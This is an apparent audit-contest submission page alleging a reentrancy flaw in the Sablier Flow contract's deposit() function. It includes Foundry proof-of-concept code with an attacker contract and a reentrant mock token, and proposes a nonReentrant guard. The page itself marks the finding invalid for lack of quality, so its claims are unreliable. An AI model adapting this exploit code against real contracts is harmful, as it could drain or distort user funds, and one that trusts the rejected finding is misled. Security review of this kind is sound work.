Flow
Sablier
FoundryDeFi
20,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy Vulnerability in `deposit()` Function of `SablierFlow` Contract

gosbu

Summary

The deposit() function in the SablierFlow contract is vulnerable to a reentrancy attack, allowing an attacker to exploit the function by repeatedly calling deposit() during the transfer process. By using an AttackerContract and a reentrant token (MockReentrantERC20), an attacker can trigger multiple deposits within the same transaction. This leads to inflated balances recorded in the contract’s aggregateBalance, resulting in potential fund misallocation and protocol integrity issues.

Vulnerability Details

The current deposit() function implementation allows reentrancy due to a lack of guard mechanisms, as shown below:

function test_attackReentrancy() public {
// Setup
uint128 depositAmount = DEPOSIT_AMOUNT_6D;
AttackerContract attacker = new AttackerContract(address(flow));
MockReentrantERC20 reentrantToken = new MockReentrantERC20("Reentrant", "REEN", 6);
uint256 streamId = createDefaultStream(IERC20(address(reentrantToken)));
​
reentrantToken.mint(address(attacker), depositAmount * 4);
vm.startPrank(address(attacker));
reentrantToken.approve(address(flow), type(uint256).max);
uint256 initialBalance = flow.aggregateBalance(IERC20(address(reentrantToken)));
attacker.attack(streamId, depositAmount, users.sender, users.recipient);
uint256 finalBalance = flow.aggregateBalance(IERC20(address(reentrantToken)));
assertGt(finalBalance, initialBalance + depositAmount, "Reentrancy attack successful");
vm.stopPrank();
}
}
function attack(uint256 _streamId, uint128 _depositAmount, address _sender, address _recipent) external {
streamId = _streamId;
depositAmount = _depositAmount;
attackCount = 0;
sender = _sender;
recipent = _recipent;
flow.deposit(streamId, depositAmount, _sender, _recipent);
}
function onERC20Transfer(address, uint256) external returns (bool) {
if(attackCount < 3) {
attackCount++;
flow.deposit(streamId, depositAmount, sender, recipent);
}
return true;
}

In the MockReentrantERC20 contract, the transferFrom function is overridden to invoke the onERC20Transfer callback. This function calls deposit() within the AttackerContract, causing the reentrancy loop. As a result, the aggregateBalance function can report inflated values after the attack, as shown here:

function transferFrom(address sender, address recipient, uint256 amount)
public override returns (bool)
{
_transfer(sender, recipient, amount);
if(recipient.code.length > 0) {
AttackerContract(sender).onERC20Transfer(recipient, amount);
}
_approve(sender, _msgSender(), allowance(sender, _msgSender()) - amount);
return true;
}

Impact

Exploiting this reentrancy vulnerability can result in artificially increased balances for malicious accounts, potentially leading to fund misappropriation or inconsistencies in protocol collateral calculations. This could compromise user funds and threaten the protocol’s overall security and reliability.

Tools Used

Manual review

Recommendations

Implement a reentrancy guard within the deposit() function to prevent multiple entry calls during token transfers. This measure will secure the function and protect the protocol from potential reentrancy attacks.

​
function deposit(
uint256 streamId,
uint128 amount,
address sender,
address recipient
)
external
override
noDelegateCall
notNull(streamId)
notVoided(streamId)
updateMetadata(streamId)
nonReentrant // Reentrancy guard added here
{
// Check: the provided sender and recipient match the stream's sender and recipient.
_verifyStreamSenderRecipient(streamId, sender, recipient);
​
// Checks, Effects, and Interactions: deposit on stream.
_deposit(streamId, amount);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.